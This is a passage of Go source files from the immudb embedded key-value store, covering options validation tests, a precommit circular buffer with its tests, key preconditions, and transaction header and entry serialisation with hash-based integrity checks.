DefaultOptions().WithFileSize(MaxFileSize)}, } { t.Run(d.n, func(t *testing.T) { require.ErrorIs(t, d.opts.Validate(), ErrInvalidOptions) }) } } func TestInvalidIndexOptions(t *testing.T) { for _, d := range []struct { n string opts *IndexOptions }{ {"nil", nil}, {"empty", &IndexOptions{}}, {"CacheSize", DefaultIndexOptions().WithCacheSize(0)}, {"FlushThld", DefaultIndexOptions().WithFlushThld(0)}, {"SyncThld", DefaultIndexOptions().WithSyncThld(0)}, {"FlushBufferSize", DefaultIndexOptions().WithFlushBufferSize(0)}, {"CleanupPercentage", DefaultIndexOptions().WithCleanupPercentage(-1)}, {"CleanupPercentage", DefaultIndexOptions().WithCleanupPercentage(101)}, {"MaxActiveSnapshots", DefaultIndexOptions().WithMaxActiveSnapshots(0)}, {"MaxNodeSize", DefaultIndexOptions().WithMaxNodeSize(0)}, {"RenewSnapRootAfter", DefaultIndexOptions().WithRenewSnapRootAfter(-1)}, {"MaxBulkSize", DefaultIndexOptions().WithMaxBulkSize(0)}, {"BulkPreparationTimeout", DefaultIndexOptions().WithBulkPreparationTimeout(-1)}, {"CompactionThld", DefaultIndexOptions().WithCompactionThld(0)}, {"DelayDuringCompaction", DefaultIndexOptions().WithDelayDuringCompaction(-1)}, {"NodesLogMaxOpenedFiles", DefaultIndexOptions().WithNodesLogMaxOpenedFiles(0)}, {"HistoryLogMaxOpenedFiles", DefaultIndexOptions().WithHistoryLogMaxOpenedFiles(0)}, {"CommitLogMaxOpenedFiles", DefaultIndexOptions().WithCommitLogMaxOpenedFiles(0)}, {"MaxGlobalBufferedDataSize", DefaultIndexOptions().WithMaxGlobalBufferedDataSize(0)}, {"MaxGlobalBufferedDataSize", DefaultIndexOptions().WithMaxGlobalBufferedDataSize(DefaultIndexOptions().MaxBufferedDataSize - 1)}, {"MaxBufferedDataSize", DefaultIndexOptions().WithMaxBufferedDataSize(0)}, } { t.Run(d.n, func(t *testing.T) { require.ErrorIs(t, d.opts.Validate(), ErrInvalidOptions) }) } } func TestInvalidAHTOptions(t *testing.T) { for _, d := range []struct { n string opts *AHTOptions }{ {"nil", nil}, {"empty", &AHTOptions{}}, {"WriteBufferSize", DefaultAHTOptions().WithWriteBufferSize(0)}, {"SyncThld", DefaultAHTOptions().WithSyncThld(0)}, } { t.Run(d.n, func(t *testing.T) { require.ErrorIs(t, d.opts.Validate(), ErrInvalidOptions) }) } } func TestDefaultOptions(t *testing.T) { require.NoError(t, DefaultOptions().Validate()) } func TestValidOptions(t *testing.T) { opts := &Options{} require.Equal(t, 1, opts.WithCommitLogMaxOpenedFiles(1).CommitLogMaxOpenedFiles) require.Equal(t, DefaultCompressionLevel, opts.WithCompresionLevel(DefaultCompressionLevel).CompressionLevel) require.Equal(t, DefaultCompressionFormat, opts.WithCompressionFormat(DefaultCompressionFormat).CompressionFormat) require.Equal(t, DefaultMaxConcurrency, opts.WithMaxConcurrency(DefaultMaxConcurrency).MaxConcurrency) require.Equal(t, 1<<20, opts.WithWriteBufferSize(1<<20).WriteBufferSize) require.Equal(t, DefaultFileMode, opts.WithFileMode(DefaultFileMode).FileMode) require.Equal(t, DefaultFileSize, opts.WithFileSize(DefaultFileSize).FileSize) require.Equal(t, DefaultSyncFrequency, opts.WithSyncFrequency(DefaultSyncFrequency).SyncFrequency) require.Equal(t, DefaultMaxActiveTransactions, opts.WithMaxActiveTransactions(DefaultMaxActiveTransactions).MaxActiveTransactions) require.Equal(t, DefaultMVCCReadSetLimit, opts.WithMVCCReadSetLimit(DefaultMVCCReadSetLimit).MVCCReadSetLimit) require.Equal(t, DefaultMaxIOConcurrency, opts.WithMaxIOConcurrency(DefaultMaxIOConcurrency).MaxIOConcurrency) require.Equal(t, DefaultMaxKeyLen, opts.WithMaxKeyLen(DefaultMaxKeyLen).MaxKeyLen) require.Equal(t, DefaultMaxTxEntries, opts.WithMaxTxEntries(DefaultMaxTxEntries).MaxTxEntries) require.Equal(t, DefaultMaxValueLen, opts.WithMaxValueLen(DefaultMaxValueLen).MaxValueLen) require.Equal(t, DefaultTxLogCacheSize, opts.WithTxLogCacheSize(DefaultOptions().TxLogCacheSize).TxLogCacheSize) require.Equal(t, DefaultVLogCacheSize, opts.WithVLogCacheSize(DefaultOptions().VLogCacheSize).VLogCacheSize) require.Equal(t, 2, opts.WithTxLogMaxOpenedFiles(2).TxLogMaxOpenedFiles) require.Equal(t, 3, opts.WithVLogMaxOpenedFiles(3).VLogMaxOpenedFiles) require.Equal(t, DefaultMaxWaitees, opts.WithMaxWaitees(DefaultMaxWaitees).MaxWaitees) require.Equal(t, DefaultEmbeddedValues, opts.WithEmbeddedValues(DefaultEmbeddedValues).EmbeddedValues) timeFun := func() time.Time { return time.Now() } require.NotNil(t, opts.WithTimeFunc(timeFun).TimeFunc) require.True(t, opts.WithSynced(true).Synced) require.NotNil(t, opts.WithIndexOptions(DefaultIndexOptions()).IndexOpts) require.NotNil(t, opts.WithAHTOptions(DefaultAHTOptions()).AHTOpts) require.False(t, opts.WithReadOnly(false).ReadOnly) require.NotNil(t, opts.WithLogger(DefaultOptions().logger)) require.NoError(t, opts.Validate()) require.True(t, opts.WithReadOnly(true).ReadOnly) require.NoError(t, opts.Validate()) require.Nil(t, opts.WithAppFactory(nil).appFactory) require.NoError(t, opts.Validate()) appFactoryCalled := false appFactory := func(rootPath, subPath string, opts *multiapp.Options) (appendable.Appendable, error) { appFactoryCalled = true return nil, nil } require.NotNil(t, opts.WithAppFactory(appFactory).appFactory) require.NoError(t, opts.Validate()) opts.appFactory("", "", nil) require.True(t, appFactoryCalled) require.Nil(t, opts.WithIndexOptions(nil).IndexOpts) require.ErrorIs(t, opts.Validate(), ErrInvalidOptions) indexOpts := &IndexOptions{} opts.WithIndexOptions(indexOpts) require.ErrorIs(t, opts.Validate(), ErrInvalidOptions) require.Equal(t, 100, indexOpts.WithCacheSize(100).CacheSize) require.Equal(t, 1000, indexOpts.WithFlushThld(1000).FlushThld) require.Equal(t, 10_000, indexOpts.WithSyncThld(10_000).SyncThld) require.Equal(t, 10, indexOpts.WithMaxActiveSnapshots(10).MaxActiveSnapshots) require.Equal(t, 4096, indexOpts.WithMaxNodeSize(4096).MaxNodeSize) require.Equal(t, time.Duration(1000)*time.Millisecond, indexOpts.WithRenewSnapRootAfter(time.Duration(1000)*time.Millisecond).RenewSnapRootAfter) require.Equal(t, 1_000, indexOpts.WithMaxBulkSize(1_000).MaxBulkSize) require.Equal(t, time.Duration(500)*time.Millisecond, indexOpts.WithBulkPreparationTimeout(time.Duration(500)*time.Millisecond).BulkPreparationTimeout) require.Equal(t, 10, indexOpts.WithNodesLogMaxOpenedFiles(10).NodesLogMaxOpenedFiles) require.Equal(t, 11, indexOpts.WithHistoryLogMaxOpenedFiles(11).HistoryLogMaxOpenedFiles) require.Equal(t, 12, indexOpts.WithCommitLogMaxOpenedFiles(12).CommitLogMaxOpenedFiles) require.Equal(t, 3, indexOpts.WithCompactionThld(3).CompactionThld) require.Equal(t, 1*time.Millisecond, indexOpts.WithDelayDuringCompaction(1*time.Millisecond).DelayDuringCompaction) require.Equal(t, 4096*2, indexOpts.WithFlushBufferSize(4096*2).FlushBufferSize) require.Equal(t, float32(10), indexOpts.WithCleanupPercentage(10).CleanupPercentage) require.Equal(t, int(10), indexOpts.WithMaxBufferedDataSize(10).MaxBufferedDataSize) require.Equal(t, int(10), indexOpts.WithMaxGlobalBufferedDataSize(10).MaxGlobalBufferedDataSize) require.Nil(t, opts.WithAHTOptions(nil).AHTOpts) require.ErrorIs(t, opts.Validate(), ErrInvalidOptions) ahtOpts := &AHTOptions{} opts.WithAHTOptions(ahtOpts) require.ErrorIs(t, opts.Validate(), ErrInvalidOptions) require.Equal(t, 1<<20, ahtOpts.WithWriteBufferSize(1<<20).WriteBufferSize) require.Equal(t, 10_000, ahtOpts.WithSyncThld(10_000).SyncThld) require.NoError(t, opts.Validate()) } ================================================ FILE: embedded/store/precommit_buffer.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package store import ( "crypto/sha256" "errors" "fmt" "sync" ) var ErrBufferIsFull = errors.New("buffer is full") var ErrBufferFullyConsumed = errors.New("buffer fully consumed") var ErrNotEnoughData = fmt.Errorf("%w: not enough data", ErrBufferFullyConsumed) type precommittedEntry struct { txID uint64 alh [sha256.Size]byte txOff int64 txSize int } // precommitBuffer is a read-ahead circular buffer // this buffer is used to hold a portion of the clog in memory: // - entries put into the buffer as they are precommitted // - entries are removed from the buffer as they are committed (content was successfully written into clog) type precommitBuffer struct { buf []*precommittedEntry rpos int // buf read position wpos int // buf write position full bool mux sync.Mutex } func newPrecommitBuffer(size int) *precommitBuffer { b := make([]*precommittedEntry, size) for i := range b { b[i] = &precommittedEntry{} } return &precommitBuffer{ buf: b, } } func (b *precommitBuffer) freeSlots() int { if b.full { return 0 } if b.rpos <= b.wpos { return len(b.buf) - (b.wpos - b.rpos) } return b.rpos - b.wpos } func (b *precommitBuffer) put(txID uint64, alh [sha256.Size]byte, txOff int64, txSize int) error { b.mux.Lock() defer b.mux.Unlock() if b.full { return ErrBufferIsFull } b.wpos = (b.wpos + 1) % len(b.buf) e := b.buf[b.wpos] e.txID = txID e.alh = alh e.txOff = txOff e.txSize = txSize b.full = b.rpos == b.wpos return nil } func (b *precommitBuffer) recedeWriter(n int) error { if n <= 0 { return ErrIllegalArguments } if len(b.buf)-b.freeSlots() < n { return ErrNotEnoughData } b.wpos = (b.wpos + len(b.buf) - n) % len(b.buf) b.full = false return nil } func (b *precommitBuffer) readAhead(n int) (txID uint64, alh [sha256.Size]byte, txOff int64, txSize int, err error) { b.mux.Lock() defer b.mux.Unlock() if n < 0 { err = ErrIllegalArguments return } if len(b.buf)-b.freeSlots() <= n { err = ErrNotEnoughData return } rpos := (b.rpos + n + 1) % len(b.buf) e := b.buf[rpos] txID = e.txID alh = e.alh txOff = e.txOff txSize = e.txSize return } func (b *precommitBuffer) advanceReader(n int) error { if n <= 0 { return ErrIllegalArguments } if len(b.buf)-b.freeSlots() < n { return ErrNotEnoughData } b.rpos = (b.rpos + n) % len(b.buf) b.full = false return nil } ================================================ FILE: embedded/store/precommit_buffer_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package store import ( "crypto/sha256" "testing" "github.com/stretchr/testify/require" ) func TestPrecommitBuffer(t *testing.T) { size := 256 b := newPrecommitBuffer(size) _, _, _, _, err := b.readAhead(0) require.ErrorIs(t, err, ErrNotEnoughData) for i := 0; i < size; i++ { err := b.put(uint64(i), sha256.Sum256([]byte{byte(i)}), int64(i*100), i*10) require.NoError(t, err) } _, _, _, _, err = b.readAhead(-1) require.ErrorIs(t, err, ErrIllegalArguments) err = b.put(0, sha256.Sum256(nil), 0, 0) require.ErrorIs(t, err, ErrBufferIsFull) _, _, _, _, err = b.readAhead(size + 1) require.ErrorIs(t, err, ErrNotEnoughData) // reading ahead should not consume entries for it := 0; it < 2; it++ { for i := 0; i < size; i++ { txID, alh, txOff, txSize, err := b.readAhead(i) require.NoError(t, err) require.Equal(t, uint64(i), txID) require.Equal(t, sha256.Sum256([]byte{byte(i)}), alh) require.Equal(t, int64(i*100), txOff) require.Equal(t, i*10, txSize) } } err = b.advanceReader(-1) require.ErrorIs(t, err, ErrIllegalArguments) err = b.advanceReader(0) require.ErrorIs(t, err, ErrIllegalArguments) err = b.advanceReader(size + 1) require.ErrorIs(t, err, ErrNotEnoughData) // advance reader should consume entries for i := 0; i < size; i++ { txID, alh, txOff, txSize, err := b.readAhead(0) require.NoError(t, err) require.Equal(t, uint64(i), txID) require.Equal(t, sha256.Sum256([]byte{byte(i)}), alh) require.Equal(t, int64(i*100), txOff) require.Equal(t, i*10, txSize) err = b.advanceReader(1) require.NoError(t, err) } _, _, _, _, err = b.readAhead(0) require.ErrorIs(t, err, ErrNotEnoughData) for i := 0; i < size; i++ { err := b.put(uint64(i), sha256.Sum256([]byte{byte(i)}), int64(i*100), i*10) require.NoError(t, err) } err = b.put(0, sha256.Sum256([]byte{byte(0)}), 0, 0) require.ErrorIs(t, err, ErrBufferIsFull) } func TestPrecommitBufferRecedeWriter(t *testing.T) { size := 256 b := newPrecommitBuffer(size) err := b.recedeWriter(-1) require.ErrorIs(t, err, ErrIllegalArguments) err = b.recedeWriter(0) require.ErrorIs(t, err, ErrIllegalArguments) err = b.recedeWriter(1) require.ErrorIs(t, err, ErrNotEnoughData) for i := 0; i < size; i++ { err := b.put(uint64(i), sha256.Sum256([]byte{byte(i)}), int64(i*100), i*10) require.NoError(t, err) } err = b.recedeWriter(size + 1) require.ErrorIs(t, err, ErrNotEnoughData) err = b.recedeWriter(size / 2) require.NoError(t, err) require.Equal(t, size/2, b.freeSlots()) for i := size / 2; i < size; i++ { err := b.put(uint64(i), sha256.Sum256([]byte{byte(i)}), int64(i*100), i*10) require.NoError(t, err) } err = b.recedeWriter(size - 1) require.NoError(t, err) txID, alh, txOff, txSize, err := b.readAhead(0) require.NoError(t, err) require.Zero(t, uint64(0), txID) require.Equal(t, sha256.Sum256([]byte{byte(0)}), alh) require.Equal(t, int64(0), txOff) require.Equal(t, 0, txSize) require.Equal(t, size-1, b.freeSlots()) err = b.recedeWriter(1) require.NoError(t, err) require.Equal(t, size, b.freeSlots()) } ================================================ FILE: embedded/store/preconditions.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package store import ( "context" "errors" "github.com/codenotary/immudb/embedded/tbtree" ) type Precondition interface { String() string // Validate performs initial validation check to discard invalid preconditions before even executing them Validate(st *ImmuStore) error // Check performs the validation on a current state of the database Check(ctx context.Context, idx KeyIndex) (bool, error) } type PreconditionKeyMustExist struct { Key []byte } func (cs *PreconditionKeyMustExist) String() string { return "KeyMustExist" } func (cs *PreconditionKeyMustExist) Validate(st *ImmuStore) error { if len(cs.Key) == 0 { return ErrInvalidPreconditionNullKey } if len(cs.Key) > st.maxKeyLen { return ErrInvalidPreconditionMaxKeyLenExceeded } return nil } func (cs *PreconditionKeyMustExist) Check(ctx context.Context, idx KeyIndex) (bool, error) { _, err := idx.Get(ctx, cs.Key) if err != nil && !errors.Is(err, tbtree.ErrKeyNotFound) { return false, err } return err == nil, nil } type PreconditionKeyMustNotExist struct { Key []byte } func (cs *PreconditionKeyMustNotExist) String() string { return "KeyMustNotExist" } func (cs *PreconditionKeyMustNotExist) Validate(st *ImmuStore) error { if len(cs.Key) == 0 { return ErrInvalidPreconditionNullKey } if len(cs.Key) > st.maxKeyLen { return ErrInvalidPreconditionMaxKeyLenExceeded } return nil } func (cs *PreconditionKeyMustNotExist) Check(ctx context.Context, idx KeyIndex) (bool, error) { _, err := idx.Get(ctx, cs.Key) if err != nil && !errors.Is(err, tbtree.ErrKeyNotFound) { return false, err } return err != nil, nil } type PreconditionKeyNotModifiedAfterTx struct { Key []byte TxID uint64 } func (cs *PreconditionKeyNotModifiedAfterTx) String() string { return "KeyNotModifiedAfterTxID" } func (cs *PreconditionKeyNotModifiedAfterTx) Validate(st *ImmuStore) error { if len(cs.Key) == 0 { return ErrInvalidPreconditionNullKey } if len(cs.Key) > st.maxKeyLen { return ErrInvalidPreconditionMaxKeyLenExceeded } if cs.TxID == 0 { return ErrInvalidPreconditionInvalidTxID } return nil } func (cs *PreconditionKeyNotModifiedAfterTx) Check(ctx context.Context, idx KeyIndex) (bool, error) { // get the latest entry (it could be deleted or even expired) valRef, err := idx.GetWithFilters(ctx, cs.Key) if err != nil && errors.Is(err, ErrKeyNotFound) { // key does not exist thus not modified at all return true, nil } if err != nil { return false, err } return valRef.Tx() <= cs.TxID, nil } ================================================ FILE: embedded/store/tx.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package store import ( "bytes" "crypto/sha256" "encoding/binary" "fmt" "io" "github.com/codenotary/immudb/embedded/appendable" "github.com/codenotary/immudb/embedded/htree" ) type Tx struct { header *TxHeader entries []*TxEntry htree *htree.HTree } type TxHeader struct { ID uint64 Ts int64 BlTxID uint64 BlRoot [sha256.Size]byte PrevAlh [sha256.Size]byte Version int Metadata *TxMetadata NEntries int Eh [sha256.Size]byte } func NewTx(nentries int, maxKeyLen int) *Tx { entries := make([]*TxEntry, nentries) keyBuffer := make([]byte, maxKeyLen*nentries) entriesBuffer := make([]TxEntry, nentries) for i := 0; i < nentries; i++ { entries[i] = &entriesBuffer[i] entries[i].k = keyBuffer[:maxKeyLen] keyBuffer = keyBuffer[maxKeyLen:] } header := &TxHeader{NEntries: len(entries)} return NewTxWithEntries(header, entries) } func NewTxWithEntries(header *TxHeader, entries []*TxEntry) *Tx { htree, _ := htree.New(len(entries)) return &Tx{ header: header, entries: entries, htree: htree, } } func (tx *Tx) Header() *TxHeader { var txmd *TxMetadata if tx.header.Metadata == nil { txmd = NewTxMetadata() } else { txmd = tx.header.Metadata } return &TxHeader{ ID: tx.header.ID, Ts: tx.header.Ts, BlTxID: tx.header.BlTxID, BlRoot: tx.header.BlRoot, PrevAlh: tx.header.PrevAlh, Version: tx.header.Version, Metadata: txmd, NEntries: tx.header.NEntries, Eh: tx.header.Eh, } } func (hdr *TxHeader) Bytes() ([]byte, error) { // ID + PrevAlh + Ts + Version + MDLen + MD + NEntries + Eh + BlTxID + BlRoot var b [txIDSize + sha256.Size + tsSize + sszSize + (sszSize + maxTxMetadataLen) + lszSize + sha256.Size + txIDSize + sha256.Size]byte i := 0 binary.BigEndian.PutUint64(b[i:], hdr.ID) i += txIDSize copy(b[i:], hdr.PrevAlh[:]) i += sha256.Size binary.BigEndian.PutUint64(b[i:], uint64(hdr.Ts)) i += tsSize binary.BigEndian.PutUint16(b[i:], uint16(hdr.Version)) i += sszSize switch hdr.Version { case 0: { if hdr.Metadata != nil && len(hdr.Metadata.Bytes()) > 0 { return nil, ErrMetadataUnsupported } binary.BigEndian.PutUint16(b[i:], uint16(hdr.NEntries)) i += sszSize } case 1: { var mdbs []byte if hdr.Metadata != nil { mdbs = hdr.Metadata.Bytes() } binary.BigEndian.PutUint16(b[i:], uint16(len(mdbs))) i += sszSize copy(b[i:], mdbs) i += len(mdbs) binary.BigEndian.PutUint32(b[i:], uint32(hdr.NEntries)) i += lszSize } default: { return nil, fmt.Errorf("%w for version %d", ErrUnsupportedTxHeaderVersion, hdr.Version) } } // following records are currently common in versions 0 and 1 copy(b[i:], hdr.Eh[:]) i += sha256.Size binary.BigEndian.PutUint64(b[i:], hdr.BlTxID) i += txIDSize copy(b[i:], hdr.BlRoot[:]) i += sha256.Size return b[:i], nil } func (hdr *TxHeader) ReadFrom(b []byte) error { // Minimum length with version record if len(b) < txIDSize+sha256.Size+tsSize+2*sszSize+sha256.Size+txIDSize+sha256.Size { return ErrIllegalArguments } i := 0 hdr.ID = binary.BigEndian.Uint64(b[i:]) i += txIDSize if hdr.ID < 1 { return fmt.Errorf("%w: invalid tx ID", ErrIllegalArguments) } copy(hdr.PrevAlh[:], b[i:]) i += sha256.Size hdr.Ts = int64(binary.BigEndian.Uint64(b[i:])) i += tsSize hdr.Version = int(binary.BigEndian.Uint16(b[i:])) i += sszSize switch hdr.Version { case 0: { hdr.NEntries = int(binary.BigEndian.Uint16(b[i:])) i += sszSize } case 1: { // version includes metadata record and a greater max number of entries mdLen := int(binary.BigEndian.Uint16(b[i:])) i += sszSize // nentries follows metadata if len(b) < i+mdLen+lszSize || mdLen > maxTxMetadataLen { return ErrCorruptedData } if mdLen > 0 { hdr.Metadata = NewTxMetadata() err := hdr.Metadata.ReadFrom(b[i : i+mdLen]) if err != nil { return err } i += mdLen } hdr.NEntries = int(binary.BigEndian.Uint32(b[i:])) i += lszSize } default: { return ErrNewerVersionOrCorruptedData } } if hdr.NEntries < 1 { return fmt.Errorf("%w: invalid number of entries", ErrIllegalArguments) } // following records are currently common in versions 0 and 1 copy(hdr.Eh[:], b[i:]) i += sha256.Size hdr.BlTxID = binary.BigEndian.Uint64(b[i:]) i += txIDSize if hdr.BlTxID >= hdr.ID { return fmt.Errorf("%w: invalid BlTxID", ErrIllegalArguments) } copy(hdr.BlRoot[:], b[i:]) i += sha256.Size return nil } func (hdr *TxHeader) innerHash() [sha256.Size]byte { // ts + version + (mdLen + md)? + nentries + eH + blTxID + blRoot var b [tsSize + sszSize + (sszSize + maxTxMetadataLen) + lszSize + sha256.Size + txIDSize + sha256.Size]byte i := 0 binary.BigEndian.PutUint64(b[i:], uint64(hdr.Ts)) i += tsSize binary.BigEndian.PutUint16(b[i:], uint16(hdr.Version)) i += sszSize switch hdr.Version { case 0: { binary.BigEndian.PutUint16(b[i:], uint16(hdr.NEntries)) i += sszSize } case 1: { var mdbs []byte if hdr.Metadata != nil { mdbs = hdr.Metadata.Bytes() } binary.BigEndian.PutUint16(b[i:], uint16(len(mdbs))) i += sszSize copy(b[i:], mdbs) i += len(mdbs) binary.BigEndian.PutUint32(b[i:], uint32(hdr.NEntries)) i += lszSize } default: { panic(fmt.Errorf("missing tx hash calculation method for version %d", hdr.Version)) } } // following records are currently common in versions 0 and 1 copy(b[i:], hdr.Eh[:]) i += sha256.Size binary.BigEndian.PutUint64(b[i:], hdr.BlTxID) i += txIDSize copy(b[i:], hdr.BlRoot[:]) i += sha256.Size // hash(ts + version + (mdLen + md) + nentries + eH + blTxID + blRoot) return sha256.Sum256(b[:i]) } // Alh calculates the Accumulative Linear Hash up to this transaction // Alh is calculated as hash(txID + prevAlh + hash(ts + nentries + eH + blTxID + blRoot)) // Inner hash is calculated so to reduce the length of linear proofs func (hdr *TxHeader) Alh() [sha256.Size]byte { // txID + prevAlh + innerHash var bi [txIDSize + 2*sha256.Size]byte binary.BigEndian.PutUint64(bi[:], hdr.ID) copy(bi[txIDSize:], hdr.PrevAlh[:]) // hash(ts + version + (mdLen + md)? + nentries + eH + blTxID + blRoot) innerHash := hdr.innerHash() copy(bi[txIDSize+sha256.Size:], innerHash[:]) // hash(txID + prevAlh + innerHash) return sha256.Sum256(bi[:]) } func (hdr *TxHeader) TxEntryDigest() (TxEntryDigest, error) { switch hdr.Version { case 0: return TxEntryDigest_v1_1, nil case 1: return TxEntryDigest_v1_2, nil } return nil, ErrCorruptedTxDataUnknownHeaderVersion } func (tx *Tx) BuildHashTree() error { digests := make([][sha256.Size]byte, tx.header.NEntries) txEntryDigest, err := tx.header.TxEntryDigest() if err != nil { return err } for i, e := range tx.Entries() { digests[i], err = txEntryDigest(e) if err != nil { return err } } err = tx.htree.BuildWith(digests) if err != nil { return err } tx.header.Eh = tx.htree.Root() return nil } func (tx *Tx) Entries() []*TxEntry { return tx.entries[:tx.header.NEntries] } func (tx *Tx) IndexOf(key []byte) (int, error) { for i, e := range tx.Entries() { if bytes.Equal(e.key(), key) { return i, nil } } return 0, ErrKeyNotFound } func (tx *Tx) EntryOf(key []byte) (*TxEntry, error) { for _, e := range tx.Entries() { if bytes.Equal(e.key(), key) { return e, nil } } return nil, ErrKeyNotFound } func (tx *Tx) Proof(key []byte) (*htree.InclusionProof, error) { kindex, err := tx.IndexOf(key) if err != nil { return nil, err } return tx.htree.InclusionProof(kindex) } func (tx *Tx) readFrom(r *appendable.Reader, skipIntegrityCheck bool) error { tdr := &txDataReader{r: r, skipIntegrityCheck: skipIntegrityCheck} header, err := tdr.readHeader(len(tx.entries)) if err != nil { return err } tx.header = header for i := 0; i < header.NEntries; i++ { err = tdr.readEntry(tx.entries[i]) if err != nil { return err } } err = tdr.buildAndValidateHtree(tx.htree) if err != nil { return err } return nil } type txDataReader struct { r *appendable.Reader h *TxHeader digests [][sha256.Size]byte digestFunc TxEntryDigest skipIntegrityCheck bool } func (t *txDataReader) readHeader(maxEntries int) (*TxHeader, error) { header := &TxHeader{} id, err := t.r.ReadUint64() if err != nil { return nil, err } if id == 0 { // underlying file may be preallocated return nil, io.EOF } header.ID = id ts, err := t.r.ReadUint64() if err != nil { return nil, err } header.Ts = int64(ts) blTxID, err := t.r.ReadUint64() if err != nil { return nil, err } header.BlTxID = blTxID _, err = t.r.Read(header.BlRoot[:]) if err != nil { return nil, err } _, err = t.r.Read(header.PrevAlh[:]) if err != nil { return nil, err } version, err := t.r.ReadUint16() if err != nil { return nil, err } header.Version = int(version) switch header.Version { case 0: { nentries, err := t.r.ReadUint16() if err != nil { return nil, err } header.NEntries = int(nentries) } case 1: { mdLen, err := t.r.ReadUint16() if err != nil { return nil, err } if mdLen > maxTxMetadataLen { return nil, ErrCorruptedData } var txmd *TxMetadata if mdLen > 0 { var mdBs [maxTxMetadataLen]byte _, err = t.r.Read(mdBs[:mdLen]) if err != nil { return nil, err } txmd = NewTxMetadata() err = txmd.ReadFrom(mdBs[:mdLen]) if err != nil { return nil, err } } header.Metadata = txmd nentries, err := t.r.ReadUint32() if err != nil { return nil, err } header.NEntries = int(nentries) } default: { return nil, fmt.Errorf("%w %d", ErrCorruptedTxDataUnknownHeaderVersion, header.Version) } } if header.NEntries > maxEntries { return nil, ErrCorruptedTxDataMaxTxEntriesExceeded } t.h = header if !t.skipIntegrityCheck { t.digestFunc, err = header.TxEntryDigest() if err != nil { return nil, err } t.digests = make([][sha256.Size]byte, 0, header.NEntries) } return header, nil } func (t *txDataReader) readEntry(entry *TxEntry) error { // md is stored before key to ensure backward compatibility mdLen, err := t.r.ReadUint16() if err != nil { return err } var kvmd *KVMetadata if mdLen > 0 { mdbs := make([]byte, mdLen) _, err = t.r.Read(mdbs) if err != nil { return err } kvmd = newReadOnlyKVMetadata() err = kvmd.unsafeReadFrom(mdbs) if err != nil { return err } } entry.md = kvmd kLen, err := t.r.ReadUint16() if err != nil { return err } entry.kLen = int(kLen) if entry.kLen > len(entry.k) { return ErrCorruptedTxDataMaxKeyLenExceeded } _, err = t.r.Read(entry.k[:kLen]) if err != nil { return err } vLen, err := t.r.ReadUint32() if err != nil { return err } entry.vLen = int(vLen) vOff, err := t.r.ReadUint64() if err != nil { return err } entry.vOff = int64(vOff) _, err = t.r.Read(entry.hVal[:]) if err != nil { return err } entry.readonly = true if !t.skipIntegrityCheck { digest, err := t.digestFunc(entry) if err != nil { return err } t.digests = append(t.digests, digest) } return nil } func (t *txDataReader) buildAndValidateHtree(htree *htree.HTree) error { // it's better to consume alh from appendable even if it's not validated // as seuqential tx reading can be done var alh [sha256.Size]byte _, err := t.r.Read(alh[:]) if err != nil { return err } if t.skipIntegrityCheck { return nil } err = htree.BuildWith(t.digests) if err != nil { return err } t.h.Eh = htree.Root() if t.h.Alh() != alh { return fmt.Errorf("%w: ALH mismatch at tx %d", ErrCorruptedTxData, t.h.ID) } return nil } type TxEntry struct { k []byte kLen int md *KVMetadata vLen int hVal [sha256.Size]byte vOff int64 readonly bool } func NewTxEntry(key []byte, md *KVMetadata, vLen int, hVal [sha256.Size]byte, vOff int64) *TxEntry { e := &TxEntry{ k: make([]byte, len(key)), kLen: len(key), md: md, vLen: vLen, hVal: hVal, vOff: vOff, } copy(e.k, key) return e } func (e *TxEntry) setKey(key []byte) { e.kLen = len(key) copy(e.k, key) } func (e *TxEntry) key() []byte { return e.k[:e.kLen] } func (e *TxEntry) Key() []byte { k := make([]byte, e.kLen) copy(k, e.k[:e.kLen]) return k } func (e *TxEntry) Metadata() *KVMetadata { return e.md } func (e *TxEntry) HVal() [sha256.Size]byte { return e.hVal } func (e *TxEntry) VOff() int64 { return e.vOff } func (e *TxEntry) VLen() int { return e.vLen } type TxEntryDigest func(e *TxEntry) ([sha256.Size]byte, error) func TxEntryDigest_v1_1(e *TxEntry) ([sha256.Size]byte, error) { if e.md != nil && len(e.md.Bytes()) > 0 { return [sha256.Size]byte{}, ErrMetadataUnsupported } b := make([]byte, e.kLen+sha256.Size) copy(b[:], e.k[:e.kLen]) copy(b[e.kLen:], e.hVal[:]) return sha256.Sum256(b), nil } func TxEntryDigest_v1_2(e *TxEntry) ([sha256.Size]byte, error) { var mdbs []byte if e.md != nil { mdbs = e.md.Bytes() } mdLen := len(mdbs) b := make([]byte, sszSize+mdLen+sszSize+e.kLen+sha256.Size) i := 0 binary.BigEndian.PutUint16(b[i:], uint16(mdLen)) i += sszSize copy(b[i:], mdbs) i += mdLen binary.BigEndian.PutUint16(b[i:], uint16(e.kLen)) i += sszSize copy(b[i:], e.k[:e.kLen]) i += e.kLen copy(b[i:], e.hVal[:]) i += sha256.Size return sha256.Sum256(b[:i]), nil } ================================================ FILE: embedded/store/tx_metadata.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy 